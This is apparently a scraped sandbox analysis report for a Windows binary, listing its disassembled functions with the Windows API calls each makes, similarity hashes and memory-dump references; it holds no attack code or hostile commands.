Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Exception@8Throw
String ID: ios_base::badbit set
API String ID: 2777619170-3882152299
Opcode ID: c02d6d3bc2b534e7e72f97a208483bd3f74a3db691fc40a9040a336dbfd89934
Instruction ID: 55536236047406f6ec4fd95622d5cb40d2d34db9a0e7d066103a6635680d6317
Opcode Fuzzy Hash: c02d6d3bc2b534e7e72f97a208483bd3f74a3db691fc40a9040a336dbfd89934
Instruction Fuzzy Hash: 7E51AFB0A00A0AEFDB05DF64C851B9ABBF4FF04300F05816AE909CBB91E775E910CB91

Function 008680FA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CreateActCtxWWorker.KERNEL32(?,008684AA,00000020), ref: 00868138

Part of subcall function 008682F6: DeactivateActCtx.KERNEL32(?,00868161,009E3E28,00A3FD94,DeactivateActCtx,00000000,?,00876590,00000000,00000000,00876546), ref: 00868317
Part of subcall function 008682F6: GetProcAddress.KERNEL32(00000000,00000000), ref: 00868324

Strings

CreateActCtxW, xrefs: 00868108

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: AddressCreateDeactivateProcWorker
String ID: CreateActCtxW
API String ID: 1192707186-1163823230
Opcode ID: 5c7eef594847520b0bd29d34ca5dc47456a917a732e59f12448b6307f142a14c
Instruction ID: 0fe9b5f8f985f0a2c2df80d589f8022cdd185a05805700c18f728b62dedf70da
Opcode Fuzzy Hash: 5c7eef594847520b0bd29d34ca5dc47456a917a732e59f12448b6307f142a14c
Instruction Fuzzy Hash: EDE08632E50774F746225799EC1D82A3E14FB55BF87028332F908A72E1DF608D4257C5

Function 00881B4F Relevance: 3.4, APIs: 2, Instructions: 419COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00881B59

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 6aa9ba9fe948cb38231177eec4b69b06a4dd055ec5902392fd1a303337719937
Instruction ID: cdd789fbfe475fb056adb827107b89a31ee2a207f311b2b59cbc520f2517675d
Opcode Fuzzy Hash: 6aa9ba9fe948cb38231177eec4b69b06a4dd055ec5902392fd1a303337719937
Instruction Fuzzy Hash: 74F16D70A00219DBDF14AF68C898BBE77BAFF48314F144569E816EB291DB34DD42CB91

Function 0087C1F0 Relevance: 3.1, APIs: 2, Instructions: 109windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(00000000), ref: 0087C218

Part of subcall function 00882DEB: GetTopWindow.USER32(?), ref: 00882DF2

IsWindowVisible.USER32(?), ref: 0087C27D

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Window$Visible
String ID:
API String ID: 3657826678-0
Opcode ID: 247f7b60ce40e5a975d507c81d48679bccadb3e9bfce8ce8f70cd72df11bb7af
Instruction ID: 7ea468728f8f605eb8803f001be4a256f8a66e6c851e880131d2daa769754141
Opcode Fuzzy Hash: 247f7b60ce40e5a975d507c81d48679bccadb3e9bfce8ce8f70cd72df11bb7af
Instruction Fuzzy Hash: 0F31AD72210618BFE721AAB4CC85F6A76A9FB10754F00811CF99DD75A6EB20EC408AA1

Function 00883A3C Relevance: 3.1, APIs: 2, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 0088562B: GetWindowLongA.USER32(00000000,000000F0), ref: 00885638

GetWindowRect.USER32(?,?), ref: 00883A7D
GetWindow.USER32(00000004,00000004), ref: 00883A9A

Part of subcall function 0088579D: IsWindowEnabled.USER32(?), ref: 008857A8

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Window$EnabledLongRect
String ID:
API String ID: 3170195891-0
Opcode ID: e9394174356d9bf557f33b98c88330927b9b023b7e94491b8c7e5caa046ef4f6
Instruction ID: 18147b639baa6f51e33f3941ea481caa0fb2805819bdae26a7707e7d2feb2c8a
Opcode Fuzzy Hash: e9394174356d9bf557f33b98c88330927b9b023b7e94491b8c7e5caa046ef4f6
Instruction Fuzzy Hash: 5D119070B00219ABCF08FFA9C884A7EB7B9FF58710F504069E845E7251DB35DE018B91

Function 00924D39 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,?,0091DA13,00000000,?,0091D778,96528101,00000000), ref: 00924D84
SetErrorMode.KERNEL32(00000000,?,?,00000000,?,?,00000000,?,0091DA13,00000000,?,0091D778,96528101,00000000), ref: 00924D90

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: f73a30b01cd49686d56b7e399ab8427fa3849a78efdc4104ff38623b9ddf14d2
Instruction ID: 8df60f3a9e3954a778ddac2c67c0649db8beb5eae1ec19cefb1518163d6c82ea
Opcode Fuzzy Hash: f73a30b01cd49686d56b7e399ab8427fa3849a78efdc4104ff38623b9ddf14d2
Instruction Fuzzy Hash: F3F08C71420394AFC710FFA8D849B597BA8FF00720F00C459F58D8B2A6CB31E991CBA2

Function 0087FDD2 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,?,?,?), ref: 0087FE17
CallWindowProcA.USER32(?,?,?,?,?), ref: 0087FE20

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ProcWindow$Call
String ID:
API String ID: 2316559721-0
Opcode ID: 7046a341decb1852e0df740984abf9c872810db11d6c7b8a090a8eb8024da61f
Instruction ID: 1a5646bac0f83e4e7501e1b201db5b6d71e6d50017879140e4744b0feab02b56
Opcode Fuzzy Hash: 7046a341decb1852e0df740984abf9c872810db11d6c7b8a090a8eb8024da61f
Instruction Fuzzy Hash: D7F0F936200559FBCF064F95DC48DA9BF6AFF48351B048025FA198B531D772D960EF90

Function 0087BE5E Relevance: 3.0, APIs: 2, Instructions: 15threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0087BE71
SetWindowsHookExA.USER32(000000FF,0087C519,00000000,00000000), ref: 0087BE81

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CurrentHookThreadWindows
String ID:
API String ID: 1904029216-0
Opcode ID: 627c951b28370ae68c737987df9728e03939dffc74754617694d51d30ae3fc77
Instruction ID: 27c0dfbbcdc996a60d2e6785c8b410df6ba4607e5f682df8813a1f2a90f81801
Opcode Fuzzy Hash: 627c951b28370ae68c737987df9728e03939dffc74754617694d51d30ae3fc77
Instruction Fuzzy Hash: 63D05E724087507FE7202774AC4EB653A60FB05334F008345F069D72E5C664D9824A56

Function 008765C2 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008765C9

Part of subcall function 008773FE: VerSetConditionMask.KERNEL32(00000000,00000000,00000002,00000003,00000001,00000003), ref: 0087745B
Part of subcall function 008773FE: VerSetConditionMask.KERNEL32(00000000), ref: 00877463
Part of subcall function 008773FE: VerifyVersionInfoA.KERNEL32(0000009C,00000003,00000000), ref: 00877474
Part of subcall function 008773FE: KiUserCallbackDispatcher.NTDLL(00001000), ref: 00877485

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ConditionMask$CallbackDispatcherH_prolog3InfoUserVerifyVersion
String ID:
API String ID: 594580106-0
Opcode ID: f71f6fd59f9d21b1a92fc958f67119371f6539a235577bbbfc108f3c488e849c
Instruction ID: d27e7fe308213b83656a9d2eacc4b9d1da97f75bc1db1d74874c7b660249bf59
Opcode Fuzzy Hash: f71f6fd59f9d21b1a92fc958f67119371f6539a235577bbbfc108f3c488e849c
Instruction Fuzzy Hash: 6951DDB0946F418FD3A9CF3A85417C6FAE0BF89300F10CA2E91AED6261EB706584CF55

Function 0087610E Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0087614A

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Parent
String ID:
API String ID: 975332729-0
Opcode ID: 6739ab19280f8f9b304ed823bc40a2b110cee3d3d4ad440ee64522004020bda5
Instruction ID: 85df164968aed02ce347876efb0d8e172ebeb02279dbd35ccc534be2854b2caa
Opcode Fuzzy Hash: 6739ab19280f8f9b304ed823bc40a2b110cee3d3d4ad440ee64522004020bda5
Instruction Fuzzy Hash: A6118171600606ABEF119F65DC58A6B7B69FF89360B148829BC09D3256EB31DC20EB30

Function 0086750F Relevance: 1.6, APIs: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

PostMessageA.USER32(?,0000036A,00000000,00000000), ref: 00867530

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 544ffa5b6a1320aa6468889c9d05a1f61962e2bd004ef62ca629a2b373183914
Instruction ID: e5a5a7c4fc2358c0200c08afad5dcceb577bb1f858841eb5b68e7b60e4f6c8e7
Opcode Fuzzy Hash: 544ffa5b6a1320aa6468889c9d05a1f61962e2bd004ef62ca629a2b373183914
Instruction Fuzzy Hash: E8119D35708655AFDB049F69DC8887ABBA9FF88364705807AF94AC7310DB70DC518F90

Function 00861D01 Relevance: 1.6, APIs: 1, Instructions: 62windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00869764: SHGetMalloc.SHELL32(?), ref: 00869784

Part of subcall function 0087CC35: __EH_prolog3.LIBCMT ref: 0087CC3C

LoadIconW.USER32(?,00000080), ref: 00861D81

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: H_prolog3IconLoadMalloc
String ID:
API String ID: 3946107928-0
Opcode ID: 09d303b96428688d3770efab643cfe199f6aa51d961e864958d0c80c60798bf3
Instruction ID: 893c3b855c77f7b26a40402e23464b0efce4f292b91a43aa56c759509fcb5bbb
Opcode Fuzzy Hash: 09d303b96428688d3770efab643cfe199f6aa51d961e864958d0c80c60798bf3
Instruction Fuzzy Hash: B021C671E102059BCB24EFA4D85ABADB7B0FF44710F008559F409EB2D6DF715944CB92

Function 008675B6 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008675BD

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 04d41b3306efacb936ce32ac0640e534dc7dcdc71f55cf32ccacfa0c392cc487
Instruction ID: 1a7ae5771d0e47277793e81071fd72ce10e76d5ecc70c47a5444d722da8e6c8f
Opcode Fuzzy Hash: 04d41b3306efacb936ce32ac0640e534dc7dcdc71f55cf32ccacfa0c392cc487
Instruction Fuzzy Hash: 1A116D34B106609FCF04AB28C898B6C7BA5BF48714F0544B9E84AEB396CF74AD45CF95

Function 0087FE6A Relevance: 1.5, APIs: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00861E50,00861E50,00000000,00A1BBFC,00A1BBFC,0087E408,96528101,?,00A1BBFC,?,?,009D60FF,000000FF,?,00875858,96528101), ref: 0087FEAF

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 808108e4fdb55ab8f76a188d719f7b329668c9ecb0f5ad63f9444ea2f55975d3
Instruction ID: 77a263ab4cd87fc7d39241bd975c04fa2c0885049c9d9b7c053936360c39ab60
Opcode Fuzzy Hash: 808108e4fdb55ab8f76a188d719f7b329668c9ecb0f5ad63f9444ea2f55975d3
Instruction Fuzzy Hash: 45018633710912EB4726AA3AD40492AB7A9FF84B503158135EA18DB72BEB20ED51DBD1

Function 0087E06E Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 00866020: FindResourceW.KERNEL32(?,49000000,00000006,?,?,?,80004005,96528101,?,?,?,00000000,009D50D8,000000FF,?,00867632), ref: 00866038

WideCharToMultiByte.KERNEL32(00000000,00000000,00000002,?,00000001,?,00000000,00000000,00000000,?,?,0087922D,?,?,00000080), ref: 0087E0B6

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ByteCharFindMultiResourceWide
String ID:
API String ID: 3726879926-0
Opcode ID: e965efdff8e37511e7c66cde04f81b9455c8f1b5a79b929cb69770d52e1a7ade
Instruction ID: 8e25bea36db1af8578b4ef65d44ffbc985b84f89722f7c66e8b004c9b782c05b
Opcode Fuzzy Hash: e965efdff8e37511e7c66cde04f81b9455c8f1b5a79b929cb69770d52e1a7ade
Instruction Fuzzy Hash: 08F0F677109B19BF87219FA89C81DABBBACFE49324311C0AAF948C7215D572EC008371

Function 0086373B Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 008637C2

Part of subcall function 009ACF0C: std::ios_base::_Tidy.LIBCPMT ref: 009ACF2C

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: std::ios_base::_$Ios_base_dtorTidy
String ID:
API String ID: 3167631304-0
Opcode ID: 9f024d1972c41badec11979a36a3e2e68ca57522879a3013754a2f2548e535ee
Instruction ID: 8a63cf819dac30a5be6e463a4a625676a96a7afe89217f905c2b223ceb31eb2f
Opcode Fuzzy Hash: 9f024d1972c41badec11979a36a3e2e68ca57522879a3013754a2f2548e535ee
Instruction Fuzzy Hash: 0711F571905218CFDB54DF98D985FDDB7B1FB04314F2082A9D80D97280DB30AA88CF99

Function 0088330A Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00883345

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Parent
String ID:
API String ID: 975332729-0
Opcode ID: bcbd36746a40967703bc9ff5bd3a79a92b70407708db457c58d667db36177e25
Instruction ID: 514bed2cc5066551151dca0515920b2e62d3a2b0ac406693a14a726349159ad4
Opcode Fuzzy Hash: bcbd36746a40967703bc9ff5bd3a79a92b70407708db457c58d667db36177e25
Instruction Fuzzy Hash: 6BF05433214155AB8B017B69A88487E77ADFF95B647198075ED45D7300DF70EE015BA0

Function 008764E9 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

CreateDialogIndirectParamA.USER32(?,?,?,?,?), ref: 0087652F

Part of subcall function 0086827B: OutputDebugStringA.KERNEL32(IsolationAware function called after IsolationAwareCleanup,?,?,00876518,00000000,00A27AD0,00000010,00875C16,?,?,?,008758B7,00000000), ref: 0086828F

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
